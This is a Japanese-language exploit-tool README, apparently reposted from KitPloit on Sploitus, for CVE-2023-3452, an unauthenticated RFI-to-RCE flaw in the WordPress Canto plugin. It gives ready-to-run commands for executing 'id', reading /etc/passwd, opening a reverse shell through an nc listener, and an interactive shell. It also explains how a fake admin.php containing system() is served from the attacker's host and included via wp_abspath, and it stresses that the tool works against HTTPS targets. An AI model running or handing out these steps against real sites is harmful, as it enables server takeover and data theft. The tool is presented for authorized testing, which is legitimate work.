Sploitus

Exploit for CVE-2023-3452---WordPress-Canto-Plugin-RCE

kitploit · 2026-09-04

Exploit Code

MARKDOWN124 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALPASTX-CVE-2023-3452---WORDPRESS-CANTO-PLUGIN-RCE
# CVE-2023-3452 - WordPress CantoプラグインRCE

WordPress Cantoプラグイン(≤ 3.0.4)のRFI脆弱性のエクスプロイト。**HTTPSでも実際に動作します** — 他の公開PoCはSSLで諦めていました。

_クレジットは当然: このCVEは他の人が発見しました。私はHTTPSターゲットで壊れないバージョンを作っただけです。_

## 脆弱性

|   
---|---  
**CVE**|  CVE-2023-3452  
**EDB-ID**| 51826  
**タイプ**|  リモートファイルインクルード(RFI)→未認証RCE  
**影響を受けるバージョン**|  WordPress Cantoプラグイン < 3.0.5 (≤ 3.0.4)  
**公開者**|  Leopoldo Angulo (leoanggal1) — 2024-02-27  
**場所**| `/wp-content/plugins/canto/includes/lib/download.php`  
**ベクター**| `wp_abspath`が検証なしでPHPファイルのインクルードに使用される — リモートからファイルをインクルードします。  
  
## なぜこれなのか?

このCVEのほとんどのエクスプロイトはSSL検証のためHTTPSで動作しません。このスクリプトは:

  * `verify=False`を使用してHTTPSターゲットで実際に動作するように
  * urllib3の警告スパムを抑制
  * HTTPとHTTPSの両方で同じように動作 — 別途設定は不要



## 必要条件

  * Python 3.6+
  * `requests`



## インストール

root@kitploit:~
    
    
    pip install -r requirements.txt
    

または単に: `pip install requests`

## 使用法

root@kitploit:~
    
    
    python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
    

### 引数

* コマンドなし = 正常性確認として `id; whoami; hostname` を実行

### 例

**単一コマンド:**

root@kitploit:~
    
    
    python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
    

**ファイルを読む:**

root@kitploit:~
    
    
    python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
    

**リバースシェル** (最初に `nc -lvnp 4444` を実行):

root@kitploit:~
    
    
    python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
    

**インタラクティブモード:**

root@kitploit:~
    
    
    python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
    

**HTTPS CTFターゲット:**

root@kitploit:~
    
    
    python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
    

## 動作の仕組み

  1. **チェック** — `/wp-content/plugins/canto/readme.txt` にアクセスし、バージョンを解析 (≤ 3.0.4 = 脆弱)
  2. **ペイロード** — `system()` 経由でコマンドを実行する偽の `wp-admin/admin.php` を書き込む
  3. **サーブ** — ローカルHTTPサーバーを起動し、ターゲットがファイルを取得できるようにする
  4. **トリガー** — `wp_abspath=http://LHOST:LPORT` を含む `download.php` をリクエストし、リモートPHPをインクルードさせる
  5. **実行** — 相手のサーバーがコードを実行し、出力を取得する



## ネットワークに関する注意事項

  * ターゲットは `LHOST:LPORT` であなたのマシンに到達できる必要があります (HTB/ラボの場合、それはあなたのVPN IPです)
  * ファイアウォールはペイロードポート (`-p`) のインバウンドを許可する必要があります



## 免責事項

許可されたテストおよび教育目的のみに使用してください。許可されたシステムのみにアクセスしてください。それ以外は違法です。

## ライセンス

MIT